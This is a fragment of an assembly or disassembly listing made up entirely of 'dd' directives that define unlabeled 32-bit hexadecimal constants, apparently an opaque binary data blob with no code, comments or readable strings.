		dd 0B4F5A66Ch, 5F003ACEh, 5C91CA43h, 4842F418h,	74701439h
		dd 8EBD1366h, 0F8550044h, 49803DB7h, 6B771E00h,	0C7D6F410h
		dd 0FF2A0068h, 5F35E3EAh, 56074104h, 47A02340h,	0F134C820h
		dd 175E1227h, 0C0145CB7h, 0FBA8EFBCh, 1913EDABh, 4000F2ADh
		dd 7266B29Eh, 50578E4h,	0AB38135Dh, 0E02C80F7h,	3B0E68C0h
		dd 6089604Eh, 845535A1h, 53860009h, 0F3A37566h,	0D1B0DDCCh
		dd 893A5D03h, 0F0178593h, 7BFD2331h, 0E64300BAh, 42D1E5BFh
		dd 0D4B011ABh, 5F456D0Fh, 0A3B8A334h, 0F52A981Ah, 931D00CAh
		dd 9299751Fh, 0A00F458h, 783A619Ch, 2E44636Bh, 3457C5h
		dd 822932C8h, 6D4C7526h, 59007F89h, 33A31012h, 26489CFh
		dd 0A60A3EFEh, 0E0E013ACh, 0F10283DEh, 0F2B7BFB3h, 0C7B88730h
		dd 0E8EF5432h, 45D310h,	2D07B2D8h, 29842310h, 0BC2A272Eh
		dd 6C1B0100h, 80416Dh, 0E131CF4Ch, 22E66C8h, 9FA548C0h
		dd 744F6FBEh, 50A86427h, 5A06C025h, 1E0043D6h, 92548BC4h
		dd 4DF1F3h, 0A87387E3h,	45D464EEh, 6F242202h, 58EC35CBh
		dd 0F54A0538h, 3860A1h,	8C729AD4h, 53003486h, 3F7752C4h
		dd 26D8C8h, 23D33045h, 1B078F92h, 0FB655300h, 254E59DCh
		dd 0D03400ACh, 0C6B07E7Fh, 0FCE87B4Bh, 3F8AC106h, 18ADEDh
		dd 2B9A53D7h, 793970BEh, 3C37A206h, 7219F85h, 730CCA96h
		dd 2BAA40DDh, 191E534Eh, 1D40FA21h, 63C63C3h, 0B22A02D7h
		dd 48C43834h, 23A62041h, 29211038h, 7C3F2A3Fh, 0BD8A5180h
		dd 15EB1124h, 6FCD3Dh, 3096DC45h, 21D95Ch, 0A7BEA3C0h
		dd 1FB2FDEEh, 92074001h, 549E5BF2h, 301CE4h, 0BEB7E849h
		dd 7ECAAEC6h, 0DDF63400h, 0DB944298h, 2EF90088h, 0F1B85446h
		dd 23006B50h, 0B7E43BC3h, 29A4830h, 1AD61099h, 44E08CEEh
		dd 3600504Fh, 330FDD28h, 0C846B1h, 0EE1C3DAh, 6BE09B05h
		dd 22FDEB03h, 0E8EDE9F9h, 9E519h, 69047C83h, 8155DADh
		dd 0BA95D800h, 0EF077DDBh, 0D570168h, 52EC1EFDh, 282620C7h
		dd 0F38BD07h, 23F05D51h, 3F059Ch, 0F6DE82A6h, 7FEA87D0h
		dd 7B0BD507h, 1360DCF9h, 2EB75C8Bh, 0E388BAh, 0C9337A28h
		dd 7D00FB85h, 2539D872h, 4963C0h, 3BEBDD14h, 0A0697E55h
		dd 27B26097h, 5E850046h, 439FED2Bh, 0A5030640h,	0DEBB04B8h
		dd 0F130B8A7h, 0D79D00E0h, 0FB916662h, 0DDFE8AF8h, 6A3D3707h
		dd 61312AC4h, 26C4E05Ch, 0F5F009Dh, 67039163h, 0ECF4307Ah
		dd 0A6148A07h, 54101F4Dh, 0FA115h, 7911E62Eh, 4AC59ACCh
		dd 2BB3Fh, 0E3EB3BEEh, 716E223h, 0A15C2C45h, 0E6FE7CBh
		dd 0F3D812C0h, 0C500D589h, 7EBF71C1h, 91BC28h, 0B46E9522h
		dd 0D546A25Bh, 0A963B700h, 819749CBh, 0F5EC00B5h, 660ED860h
		dd 0E70040F4h, 5E8176Dh, 15E2BCh, 55A7446Fh, 0DC301E81h
		dd 7587A226h, 0BA0A3400h, 2F00620h, 3D270F4h, 0A8835E0Eh
		dd 7BE8E48Ah, 0D000704h, 2B6C047h, 63B5CBh, 0E6E1DD31h
		dd 18743BD4h, 999AE00h,	0BDD0F794h, 3E7507C3h, 8030E16Ah
		dd 0FD5A913Ch, 7646F519h, 0DAEC8618h, 0ACECD9h,	0B41157B6h
		dd 5EA3E74Eh, 0A6BA01Fh, 0F81480F3h, 65148A2h, 0C1E53543h
		dd 0FB3B18DEh, 0EF74006Ah, 89C41F5Bh, 0D88C0737h, 70885819h
		dd 9CB37AA3h, 4DE4BE54h, 7186BF1Fh, 9D4BC500h, 0D9FC0Eh
		dd 52BDABACh, 6707516Fh, 40D8F500h, 5B429448h, 0E5DD4C4Bh
		dd 40D7F61Ch, 2FB2801Dh, 39DE0D68h, 1542B500h, 0F68B75CBh
		dd 8DE318FEh, 8CE07020h, 0AD779E1Dh, 0BD7B6E81h, 99E46973h
		dd 0EDCB09Bh, 0A7A3F172h, 0E71C3200h, 890058EBh, 0FE93E61h
		dd 2494148Bh, 6E61E6Fh,	0C9F95C7Fh, 0C9869000h,	69259AACh
		dd 0D600006h, 3A6D587Bh, 9518CA9Dh, 0DD403697h,	64AC3A51h
		dd 80875918h, 78003985h, 7690639Eh, 0C1B7A394h,	2353EAC8h
		dd 3EFAE8C9h, 0DE286E79h, 1D73C689h, 0FDB73400h, 0DF705012h
		dd 5F9B001Fh, 4495E9C4h, 2B059957h, 0C0A5433Ah,	20D5CC00h
		dd 129A8968h, 410FBAE3h, 96BFD6B0h, 9A8404Ch, 0BE0F7938h
		dd 8B115CC4h, 0A28A809Bh, 60521E6Ah, 8096E9F7h,	7BF422FAh
		dd 6794B700h, 0DAB4417Eh, 0BAA7017Dh, 0F72C5164h, 5A54201Fh
		dd 4394C001h, 0FCD21227h, 3FE9CDC4h, 72866134h,	8887DA65h
		dd 590036E4h, 114A06E4h, 0F791686h, 7CAAA294h, 0B1F23F46h
		dd 5D887E1Eh, 3B2A80B9h, 0E5434DEEh, 8B8100FFh,	288682D1h
		dd 6530F048h, 8A743031h, 587062B0h, 0ACA0B295h,	0A8AE58EDh
		dd 27E7DC03h, 9072D445h, 956097h, 1219DFBh, 1BF59F78h
		dd 41047476h, 0C5480FA5h, 8CDD7C80h, 0EF0B0006h, 76517267h
		dd 821DC68Dh, 9800F7E4h, 0BFAB1C9Bh, 0C3CF0175h, 0DAFFA499h
		dd 0BEA05562h, 0A149850Dh, 30E38C40h, 1A87E42h,	3C80E4ABh
		dd 0C075DB2Ch, 0CB0EE0C2h, 0E51894h, 9F2D7BB3h,	4B2400A8h
		dd 6C456660h, 8A012AE7h, 5BAD599Dh, 0B4607D73h,	0D188007Fh
		dd 8F1C7A90h, 3D000903h, 22C8C94h, 1E71DFE7h, 0C00624B7h
		dd 0CB01D8BAh, 90073E0h, 0D11D1CC9h, 0B03869h, 0B66E4EA5h
		dd 2FED6F03h, 6B978200h, 504518FDh, 0CBD30732h,	8949982Bh
		dd 4C3C2B00h, 2E00AB99h, 0F54F939h, 355958h, 6855ECEAh
		dd 1FDC17E3h, 6343C500h, 0D51CCF19h, 8D4D008Eh,	9F34E2BFh
		dd 30909E44h, 6CEFE730h, 663339h, 8BB23ED5h, 7B983C55h
		dd 90E9A5Ch, 80E29349h,	0D0927E0Fh, 596900DFh, 83C80E2Ah
		dd 400E12D8h, 80B0A161h, 2C6CA549h, 1A9905DDh, 78D6657h
		dd 600D58FCh, 0DB4DDC53h, 692339h, 44D1D998h, 3E891DC1h
		dd 0F900BB5Ch, 846112F5h, 8276E36Bh, 7917713Fh,	5925C500h
		dd 9078DCAh, 0DBCB0088h, 0D2674EC4h, 0A83CB06Ah, 0B4172891h
		dd 86B5500h, 0D83EE77h,	8DE70E76h, 88608760h, 0D4FFDF5Ch
		dd 44A63D00h, 0A4680EE4h, 28560E4Ah, 0E0A1ADDCh, 0BC5F8201h
		dd 46A80068h, 0AF30EEE8h, 0E68E0FDFh, 0CFCBFBA2h, 484DAD00h
		dd 20B81D36h, 39DF9C9Ah, 0B4D42AC0h, 0F51E5ADh,	67361BEDh
		dd 4A6A9E00h, 0E6243C4Fh, 6D01905Ah, 98057CF1h,	388DF0h
		dd 0ED443089h, 0F0637B0h, 406E1200h, 519BA266h,	59E80350h
		dd 46CC74A9h, 0A63C17A8h, 0FDEC8707h, 80FA69DCh, 80BE780Fh
		dd 5C8E9F1Ah, 0E12F0093h, 0EF26CF2Eh, 0C801F9E6h, 0ECC0BD82h
		dd 0E7FCA554h, 9EAA3EFBh, 0CC0BD258h, 3802F64Bh, 80C0BF12h
		dd 60009986h, 6EEE2A76h, 595B7D68h, 0CD3C50AFh,	3F4B1B89h
		dd 0F20CC030h, 0E1DC941Eh, 7918B21Dh, 0FF0D19h,	0CFC05C46h
		dd 0AA66EA96h, 0DE9D9A0Ch, 426051B6h, 5F810B6Fh, 0C04420ACh
		dd 710134D1h, 0A440B2DBh, 500400E8h, 77FE31F4h,	6307A9D8h
		dd 0AA265D8Bh, 67F9600h, 0CC30C0BCh, 80EAA692h,	3D614D3Eh
		dd 918E058h, 1DF2B34Bh
		dd 89FF24FBh, 1CA363C6h, 0A0C81C29h, 0A30C0A59h, 0C9849248h
		dd 0CB53005Bh, 0DE833147h, 4578232Dh, 24C96600h, 0B342E341h
		dd 27A9005Fh, 781BB49Bh, 13006E86h, 0B9206D8h, 0B9E105h
		dd 0A5B8CD48h, 0D73C5643h, 0F0B096E8h, 41581C18h, 0CABE5F9h
		dd 4A525B02h, 69010E10h, 945C81F5h, 8DF007EEh, 1ACF00E9h
		dd 9D53D4BCh, 0C800C675h, 770E63AFh, 97A70EDh, 25FB02E5h
		dd 0C0BD8425h, 4FFFDEC8h, 11B18230h, 0BF5980h, 0DBC9306Eh
		dd 85FEC867h, 0D11958h,	0A22423ECh, 0C3D695h, 506330EAh
		dd 875702E2h, 0F686E700h, 5BC038D0h, 37F3000Bh,	0F4E8EDE3h
		dd 2807881Fh, 0B60ACA97h, 1899CDD0h, 452C03EEh,	0DE64DC1Bh
		dd 0BD28E5D8h, 699DC60Bh, 99E00003h, 92B78Dh, 0C8CB4274h
		dd 0F4E7375Bh, 820004E6h, 0A2262A94h, 577234h, 882CEA1Dh
		dd 530D90C1h, 0B393DE09h, 3EAC2049h, 77FB6195h,	0BF2D050Eh
		dd 9044F24Bh, 6D9273BCh, 6B0D4315h, 699600B8h, 3819CF7Ah
		dd 0B4E00C7h, 0FB35A93Dh, 0D51C4716h, 0DA4062D7h, 0A7F466B0h
		dd 325A5C57h, 7F043F00h, 0EA0668F6h, 394CF000h,	88DE098Dh
		dd 2A4A07D9h, 0D09A3074h, 14AD9C71h, 9CA6E63Fh,	20C0C0B4h
		dd 621C7779h, 98752C0Ah, 6B440F80h, 0CB8B2FEFh,	0B0D7D600h
		dd 30EFE143h, 3400DDEEh, 3CBD65F6h, 2C30E8A4h, 80DC82B1h
		dd 637025A3h, 1200CB41h, 0AFF35E44h, 0C718F9h, 6937D36Ch
		dd 9CEC9864h, 0D47D901h, 1F238B8Dh, 7700DC28h, 46A556B1h
		dd 8E13BD5Bh, 9000516Bh, 9D98366h, 22B900EFh, 93F54ABBh
		dd 7006D5Ah, 0A42D5996h, 3E0E3848h, 0B1839889h,	204AD6C7h
		dd 0ED42A890h, 0DFC46F13h, 0E691D801h, 0DBC0BCF4h, 0B27B3912h
		dd 3500A23Eh, 8B25DA1Dh, 0BA00F9E8h, 787CE0DCh,	7E50B22Ch
		dd 0CEA30308h, 6ACB4FCCh, 7D0F88D0h, 95E1F407h,	0E870AEB8h
		dd 0E6BE936h, 0B079487Bh, 4A1CBD80h, 0BF051D69h, 0E1BB9E2Dh
		dd 0FB53C480h, 2CC80271h, 0B088AE4h, 0E47925E1h, 0C928D6BFh
		dd 0D803C493h, 0CAE25CABh, 0BCC29B0Eh, 9F02CFA8h, 89A90653h
		dd 129826C3h, 0CB012460h, 81C43E65h, 5C645F51h,	0E63600FEh
		dd 0CCDE1AD8h, 0CE50D46Eh, 0B51063C4h, 91C19790h, 0EEE3573Bh
		dd 6800A450h, 0E7233FFEh, 0B942D1h, 4BF40B40h, 0B4798E73h
		dd 61CDE800h, 22847E91h, 510E3EA6h, 5E483DFAh, 0FE5C8680h
		dd 2EE61EA7h, 0F2A64F07h, 8017D170h, 3BF77770h,	95D75CE9h
		dd 0C2F13400h, 15EC8B3Ah, 83E1DE38h, 234B1184h,	0F67801C5h
		dd 655DE7C7h, 0FA1830C4h, 2DDB1C1Eh, 54C8AF3Ch,	482EFBh
		dd 627D54DAh, 99035997h, 0F618445Eh, 428DF89Ch,	87D2002Eh
		dd 8A648234h, 0C4631C22h, 0F8ABECAEh, 0C9FFE0h,	0B25C83AEh
		dd 0A3E62D53h, 16C0E900h, 2B2E8A88h, 75731335h,	0A5140011h
		dd 70E51387h, 85B6BE00h, 20D333A7h, 71E0005Ah, 918236F0h
		dd 6B009E10h, 8C48BE09h, 3E9E4EDh, 0BF77CA57h, 0A4D8E84Dh
		dd 0FD0880C0h, 17247h, 9B715E8Fh, 0A812ED8Dh, 4C8093DFh
		dd 0F44F6Dh, 827B3A3Dh,	1A1615F9h, 2BAF4Ch, 0D2E167A5h
		dd 4A08F6h, 30E3047Fh, 0AE365DA0h, 0A476CD00h, 97F4811Bh
		dd 509660EBh, 6BBBE028h, 44B1BFF8h, 3EF2E80h, 98D911h
		dd 20B9362Dh, 0F554B430h, 0D0008E73h, 95F12F60h, 1C751B7h
		dd 6EEB28B6h, 24249DBCh, 45203330h, 0C6600040h,	0E3014E78h
		dd 5B0E5F65h, 0E0E5D930h, 4F1EB30Bh, 8C5A3026h,	3D799690h
		dd 3819F39h, 874C1FDEh,	0EED0E03Ch, 91D50012h, 3156A96Ch
		dd 0D80022A0h, 0F1C7927Ah, 0E40D374h, 0BDE491BBh, 0B57B45E0h
		dd 370096DFh, 3CB42BF2h, 5CF107E9h, 0A000FE9Fh,	113B5D9Ch
		dd 8F00C21Ah, 424507Fh,	0FC018E8h, 8303E4FDh, 4EB0C540h
		dd 3801BE23h, 49AFBA05h, 0B7C83ED8h, 0E61800AEh, 4795DC98h
		dd 541F6ADDh, 8C8083CBh, 4BBBB5BAh, 87710EB7h, 26A2D914h
		dd 0E440CCF4h, 0A00ACB2h, 32C151A6h, 90069D89h,	5F0D0028h
		dd 0F4B86DEFh, 8F728C0Eh, 7BA9AA00h, 5D54C999h,	0E3E900CAh
		dd 0D765A1C6h, 2303590h, 0E022D68Bh, 0C0F50027h, 0D8680C41h
		dd 3B703624h, 0F7762890h, 7BE3944h, 96C8AC74h, 124AC149h
		dd 47F1E4E7h, 0D667C200h, 533280F5h, 0CB190055h, 0E62B4901h
		dd 413A847Ah, 0A500F890h, 865EA47Ch, 29B8867h, 122F43A7h
		dd 0FF8042F8h, 0BFD79089h, 0B0E00100h, 0C553AE1Dh, 0EFBB074Fh
		dd 0F2A92102h, 88C05E42h, 310B6906h, 0A1FC87B8h, 23CAD324h
		dd 0FE93D30h, 372759B3h, 8176F2C0h, 0E53ADFA6h,	3A549FBAh
		dd 0EEF408C0h, 0B2FA51F3h, 9C7524h, 40AEEFC5h, 0B127A61Ah
		dd 7794F326h, 9D808527h, 22EE85C0h, 7F5B16C5h, 42801D0Ah
		dd 94F5493Eh, 3FF7C400h, 4AF62CAFh, 0C3308130h,	0E4934D62h
		dd 7901B55Dh, 2FBD3DEAh, 3FCB064h, 0FBD83CF3h, 47F1A51Ch
		dd 33924BC5h, 7AF872DEh, 8C90CA99h, 0E4E9B702h,	0E8DB2E2Ch
		dd 0A5F7E8h, 0B4984245h, 698E5414h, 0CEC0D4E4h,	9E4F58CBh
		dd 0B7DE1CD0h, 2A8AE6Dh, 45BA0382h, 8B68E3E0h, 0F535FA00h
		dd 8CE2623h, 4C7700D9h,	0A105638Eh, 2B008C28h, 0AB818701h
		dd 0AF346Ch, 0A583609Bh, 27954740h, 7CB75403h, 0E0EE21B5h
		dd 2C8501D3h, 0CA81E0h,	0DFB2729Dh, 0B03BB8FDh,	3CC380F6h
		dd 4E94C80Bh, 0B1D807A8h, 0F09E2C98h, 14BAE203h, 102DB930h
		dd 72041Dh, 91736CD2h, 2E1F1917h, 0A80045E0h, 0C17079F2h
		dd 0FCF5023h, 0C9618AEBh, 2812FA40h, 490018D6h,	7EB4CAFEh
		dd 0D03F01h, 6BA03B90h,	0DB29FD99h, 0A688000h, 0E8482AC8h
		dd 0DFCF0127h, 0C40CFCC6h, 309847CEh, 0E019B888h, 0C0426400h
		dd 0C1985894h, 28D9007Ch, 5505FCE2h, 0E15DBDABh, 2953006Ch
		dd 0C1A019A6h, 3E8F00C3h, 0EA68D26Ah, 17178FCh,	0E329420Eh
		dd 0B3383836h, 0B728Eh,	0FA0F515h, 0A2D99009h, 7CB26B00h
		dd 8644E7B0h, 0FA5F06Ch, 0C4C62292h, 3D9594A0h,	0DF0246F7h
		dd 3BD9B8E9h, 0B3FA80EAh, 163F40ADh, 0F8439Bh, 10B73CEh
		dd 2C00D8B0h, 69659D86h, 2DAB144h, 0E309C27Ch, 3541538Bh
		dd 0CD46ECEBh, 8FA3710Eh, 0E51EA74Dh, 0EC3001F0h, 58586114h
		dd 0CCB209E8h, 5200F95Bh, 197BEA90h, 629685h, 367769F8h
		dd 0F64D077Ah, 1AEBA50Fh, 10FEE051h, 0C9D331h, 0C60CDDFBh
		dd 62A02FD1h, 6D483800h, 18B6308Fh, 1F3A9015h, 80FB8B57h
		dd 3D553C1Eh, 71000602h, 4CF31BFDh, 9AB23Ah, 4987941Ah
		dd 1162A39h, 0E33C8D0Eh, 0C0D34002h, 0E0230B43h, 0ACC8004Ch
		dd 4F21A058h, 8F001B9Fh, 0F112C217h, 305BD5B5h,	88C870E3h
		dd 0C11869F2h, 9D10717Eh, 4A28000Ch, 8FEDD0F1h,	9F00A1E7h
		dd 0B2C85B55h, 0EE3ED17Fh, 36B0349h, 0ADA03506h, 0DF1AE5F0h
		dd 0A28DB118h, 9436C0h,	3C43975Dh, 0A0850A2Fh, 0E072660Eh
		dd 0D909E1h, 6842F283h,	3FE50CA3h, 0CB817487h, 3AF6EE01h
		dd 39C7BEFBh, 0E480A370h, 0B87D0F31h, 9240A441h, 8D865B9Bh
		dd 0F068AC03h, 0ADB96Dh, 22FD3278h, 7F579CA5h, 81D16700h
		dd 0C7B38ED6h, 4F83000Eh, 856529AFh, 0B7072086h, 8247E0C5h
		dd 0B1C0E724h, 89D85Ch,	189699BAh, 8F858458h, 91367618h
		dd 38D0A03Ch, 0DC0007B1h, 48FD51AAh, 83789709h,	0A908D800h
		dd 0B4637BF0h, 1880EFF3h, 0B1320346h, 0C9FA22F5h, 6B67D500h
		dd 0F4D7AE21h, 29206045h, 3C9975FBh, 0F39CA400h, 0D26C373Bh
		dd 58710057h, 557F1C34h
		dd 0B31F504Fh, 8600C256h, 0E797CFEDh, 0C3E2008Bh, 11823C96h
		dd 0E609EA64h, 279CD3h,	85038FA4h, 305A00B9h, 684F8C9Eh
		dd 0D91E6ED1h, 0BFC0FE62h, 88E9473Fh, 0AFEF0075h, 0A86D737Ch
		dd 0F008AADh, 12A77740h, 515445h, 0AE80B265h, 0C9D76972h
		dd 91DCB700h, 0BEE2A53h, 0DBAA00D1h, 0F90A8189h, 0CD3FEA7Ah
		dd 0D73E8077h, 0F1037F24h, 86FA009Bh, 0F9A89E1Eh, 63785A67h
		dd 0BEE10D00h, 62AFD626h, 0E2EC0244h, 0A5FDD450h, 16FA1140h
		dd 96016000h, 73FC5D45h, 88E600ACh, 9A6E89A8h, 5B020D71h
		dd 2A3AD6DCh, 0F96E60D8h, 494F00B2h, 0FE1BB8B4h, 7000153h
		dd 4148EB78h, 1B50796Eh, 7061D488h, 0B9160BA8h,	0E8E21100h
		dd 0B21D6C94h, 9D0600C1h, 0A08DF92Fh, 0C507DECDh, 0EF07A5AFh
		dd 0C8E9B360h, 730901C1h, 8E4887DCh, 8302EC9Eh,	34461700h
		dd 4538F66Dh, 682500ECh, 15DAB2F4h, 1F059D8Ch, 5E0CF7E8h
		dd 45044404h, 21230820h, 1B12811Dh, 69B8D3C0h, 196CC54h
		dd 1FA28ED0h, 8FF4F6F3h, 805CD718h, 0C9A0C0C8h,	0A87D064Ah
		dd 397FD048h, 169FE4E7h, 86084100h, 15545540h, 0E7D00026h
		dd 3BAA5FE4h, 4E7A307Eh, 3D98371Eh, 0B253B1C0h,	4AA4C0h
		dd 8F0656C7h, 0BF6D501Bh, 0AA6C7300h, 0C204922h, 23C300Dh
		dd 0DAB98F68h, 5ED1BD07h, 4EC085C9h, 65DE73BEh,	83B12001h
		dd 0E4E0F3ACh, 33C52B0h, 4989803Ah, 14ED36C1h, 24A81EA5h
		dd 8D6E406Fh, 0CF5A0AE3h, 94C5B828h, 6776811Eh,	217ABC00h
		dd 1C2BF4ACh, 5DD2C690h, 0DE270216h, 1863C87Fh,	0F67A7004h
		dd 8B4A66h, 224BE20Ah, 2FE100B0h, 635DB4BAh, 8048FF00h
		dd 0CBE4151Eh, 30A03C8Ch, 2854B101h, 60AB0921h,	200DA23h
		dd 3D7D1842h, 4C2FE38Ah, 0ED00490Fh, 5D4D230Ch,	9E1FF781h
		dd 861411FCh, 0C5EBB540h, 0AC3C0005h, 8CF7C679h, 0A42DE712h
		dd 0F2923400h, 1D73CE61h, 5E076C70h, 323EBE77h,	5A319680h
		dd 89B932Bh, 0EDD4A450h, 0C6B62100h, 378A6C17h,	424A1871h
		dd 7A1FBA1Dh, 3D088609h, 6808200Ch, 715A275h, 4AFBA478h
		dd 318D1ABh, 0AEFE60EDh, 0BCB87B0Fh, 30D0CC7Eh,	16AA00C3h
		dd 0E85E22E9h, 0A03FB2E5h, 4356000Ch, 0B668B4DBh, 0E8FBFB2Ch
		dd 50138723h, 0A0E0DAh,	3DB3862Eh, 0B0EF1448h, 0F5210600h
		dd 1591FACFh, 7ED5388Eh, 0DD000F48h, 3A1A556h, 381321ACh
		dd 7407ABB1h, 67108C37h, 14354936h, 0B0B7896Bh,	0FCC50C00h
		dd 0DE63841Fh, 0A4C35A09h, 24A82782h, 88956113h, 1A245F1h
		dd 18D7C72Dh, 0C0A5FF42h, 8800A412h, 790CFBC3h,	35F45C2h
		dd 35605D70h, 0A800E19Fh, 38F919DCh, 12A3BDAh, 0F7932168h
		dd 0ECE36010h, 27C9F7Ch, 0F8733200h, 3FEAA1D4h,	7D6A036Eh
		dd 0C6CB578Eh, 0E8F922C0h, 38820330h, 0B219795h, 0A89CC0C7h
		dd 627E5C00h, 6F2EFC8h,	4BA99100h, 5ACB6A69h, 475D285Fh
		dd 0AC630080h, 92B97F90h, 1B0278E2h, 8F624584h,	4DCC80BFh
		dd 0B01A7CD1h, 0D07520h, 0BA58C224h, 0EE9AA63Ah, 0FB9B1902h
		dd 401D8005h, 9EE4F5h, 0BF39CCBDh, 698F26F3h, 1A0AA500h
		dd 5D9FBBD9h, 0DDEC000Fh, 46EB8AF9h, 92000155h,	71632CC9h
		dd 28ED9E07h, 0B4F851h,	0CB77D1C1h, 0B1611F1Bh,	20AB991Fh
		dd 20D2BA89h, 4A6B72C0h, 2D19008Ah, 8211C65Fh, 0A4492484h
		dd 980800A8h, 78A613FEh, 23880048h, 77939B61h, 9E01F2C5h
		dd 0B3D25D4Ch, 0AC2449F1h, 0DE4087FBh, 61182CB7h, 201320DBh
		dd 43A83023h, 297F4207h, 1694CDEDh, 0F785B4C0h,	0E4DC009Bh
		dd 7136DAFCh, 349226BFh, 36457B38h, 26D8694Dh, 0C0447FBCh
		dd 61A80C7Eh, 802D5D3Eh, 42F54043h, 189F28ABh, 90CB463Eh
		dd 0EB06D9BAh, 2C9DB27Dh, 0D1300048h, 9B37B6A6h, 29DE3252h
		dd 0DA07D516h, 97A0089Fh, 143814Ah, 0FC656BBAh,	82DFD01Bh
		dd 0C2375428h, 0C0B08A9Bh, 1225B9BFh, 0D000E7A4h, 2EB724C9h
		dd 1BE402EAh, 12FAC24Ah, 4DABCC48h, 28E3E906h, 0D8FF6Ch
		dd 0AFDB48D7h, 0A72CCDF9h, 0A4D67B0Eh, 6E27A30Ch, 0F390046h
		dd 40B4CE59h, 9600AE76h, 84C87113h, 5C5BD1C0h, 830047DAh
		dd 6CC95F2Eh, 0C500593Fh, 9B784056h, 8C2C84h, 87A02407h
		dd 7202A83Bh, 129C13Fh,	74B61932h, 0F4300D2Bh, 872F1349h
		dd 81D01D44h, 0AEF98C7Dh, 8D1AD41Eh, 4ED56D00h,	37AD3086h
		dd 728107FFh, 306F539Dh, 23EC9435h, 0CAAE880Fh,	52B3E07Ah
		dd 901D2E67h, 76D400A8h, 0ABB9D717h, 6036B36h, 0F64050CEh
		dd 22FEB3Bh, 1D8BC9C0h,	74495A90h, 0B0A45725h, 0E10B3BC8h
		dd 0A1E01301h, 90F61DF3h, 0E0FCD0D8h, 2C017C54h, 0E51419h
		dd 24687178h, 98004758h, 38DA4BEEh, 9E334Fh, 4D53D91h
		dd 8ADD1363h, 80D9BD3Bh, 0B06F06B1h, 0F436A240h, 64C32EF5h
		dd 0E8643174h, 0A003CF47h, 0DFF2D5DBh, 10AE69h,	4E29EFFDh
		dd 3FAF14E7h, 5295EC00h, 0E9BA1841h, 0EA261E5Fh, 989D40B2h
		dd 91651A5Eh, 1FD2001h,	0B82EE8BFh, 0C49E70h, 2DD89488h
		dd 64AC070Fh, 0FA531A04h, 0D8809829h, 4AF05h, 0AA93B71h
		dd 0F463869Fh, 94BB8C24h, 66293C01h, 50312F51h,	17E96CCh
		dd 626A0AA1h, 30CD7BBCh, 0E7FCDB7Ch, 97711714h,	0F89F0091h
		dd 0DE4858EAh, 0E2B70004h, 868F903Bh, 2F044FB6h, 2D0206CEh
		dd 9F3E7380h, 0D5101D70h, 799880B5h, 1A780C59h,	750FB609h
		dd 0D4B4825Eh, 7A4740FDh, 2D7600B2h, 44025B73h,	9601AD8Dh
		dd 641DBAEAh, 0AC40CDB0h, 77596566h, 5D11C304h,	0A4E83F8Fh
		dd 0DE052E55h, 0B1EA162Bh, 0B6542C97h, 2877049Ch, 4FC03ADh
		dd 950FE511h, 6B049010h, 0B000C794h, 43E43B47h,	30E9DB4Fh
		dd 0E5316A1Eh, 0E82620E2h, 93C00A4h, 0BD3305h, 0CCBEB017h
		dd 9DA10043h, 9B88B31Fh, 3483A1Dh, 50CF0010h, 340C5B20h
		dd 819EC792h, 0CCD5E095h, 6A00DAE9h, 0F7E5EFE0h, 0F23A59E7h
		dd 3B19014Fh, 777B6DBBh, 0BC93FC34h, 0CE902800h, 0C4825097h
		dd 7A1E003Ch, 1B790257h, 0F800AE87h, 97EFBB16h,	90730E8Dh
		dd 2DDF00CCh, 4F398A58h, 180025B7h, 74319B05h, 48CC16A9h
		dd 0EC12A44Eh, 0CBB30026h, 94D6EE85h, 0AFCDE600h, 15B3C408h
		dd 8B2000E9h, 54BC01EDh, 993CD732h, 0C6B481E5h,	0C869D012h
		dd 1EAE2064h, 40287103h, 0D6523AFBh, 0B41C72C4h, 62949712h
		dd 9A6D00A4h, 44942C9h,	8682690h, 0A91754h, 516C324h, 93010D99h
		dd 726A85C9h, 80F432C0h, 42FDA098h, 0BAD802ECh,	45855EC5h
		dd 0F8941CE1h, 2D004076h, 0ACDE8E3Ah, 589C0478h, 0F5011A89h
		dd 0AFB22FC1h, 229C30A8h, 84E5F600h, 0E1DE1003h, 4AA7017Bh
		dd 6026CC66h, 8CE3E8CAh, 539C9400h, 0F1198E62h,	7A7300B3h
		dd 844B578Fh, 7500B81Eh, 3BFEBFEDh, 1EBB6D05h, 80BE010Bh
		dd 2C574D36h, 9E0E29Ah,	90B04Dh, 3898F87Ah, 0BB97E5h, 57C54217h
		dd 22609173h, 826B4E1Eh, 0B4D2AE80h, 5B49A8h, 0BD76C8C7h
		dd 200A69A7h, 2B8B0E00h, 5D13EB87h, 14450068h, 0EDAFFA6Fh
		dd 981223C0h, 18803021h, 79EF2D83h, 594F0091h, 0A6C1B655h
		dd 0A2383C7Eh, 4D00F98Eh, 634EAF86h, 24B6C659h,	80943E06h
		dd 0CEF6D83Ch, 0B93D570Eh, 0D923B8A8h, 70C00C0h, 86A0F3Eh
		dd 40990024h, 8DEAF6A6h, 10003D42h, 83326269h, 78C6546h
		dd 5E355653h, 40133F72h, 8BAEEA28h, 3800746Ch, 0FDEC703Dh
		dd 0FEAA0AF8h, 9E9879h,	0BDC2C58Ch, 61A36076h, 94331A0Bh
		dd 0EFEA0030h, 37FA6D6h, 314EA001h, 3100A849h, 0A2D0BCF4h
		dd 50352461h, 2AE680B7h, 5CC07039h, 0AE006071h,	0F9FE9B01h
		dd 0E30033B6h, 0D937CB88h, 47159Ah, 0DF1AEE08h,	4F0C493h
		dd 0DB0E947Dh, 802EC907h, 0AB3EB99Dh, 0F7E00AEh, 6372D03Ah
		dd 45263579h, 370038D9h, 9B965B95h, 9B23702h, 9387C078h
		dd 0F9037885h, 0F10FDD82h, 95180750h, 41C2E571h, 40B302BEh
		dd 85968D18h, 806609Ah,	0A2AE974h, 790E0008h, 0D2A61601h
		dd 263BD3EAh, 4CDB0102h, 0DD34C8BEh, 0E58917C7h, 0C0CFF5Bh
		dd 0C8148FBh, 89033EBAh, 0A91F8259h, 0AEBF8B96h, 0FC184FE9h
		dd 0FED9A029h, 0C9F41FDAh, 0E96CC062h, 8E930A0Fh, 44C9E50h
		dd 8CE1B0C0h, 0B896415Bh, 0C9A6005Ch, 0DA69453Ch, 89008AA8h
		dd 0E47A7977h, 1E748783h, 80470ECAh, 0F5A07EEAh, 0E6071553h
		dd 0BFF9E508h, 19C656h,	5ACDE291h, 47C060ECh, 0EA59003h
		dd 55C2A77h, 85153C20h,	0C0EC0072h, 0E5E3D344h,	0D4305760h
		dd 3C6CC0Fh, 0F30CF488h, 18625859h, 1865240h, 0E00A8E0Bh
		dd 0E67867FEh, 0B2448777h, 89701281h, 352480B4h, 0EE05721Eh
		dd 0A8A8769h, 95FD04Ch,	0C316780Ch, 0FAE70E89h,	8F42513Eh
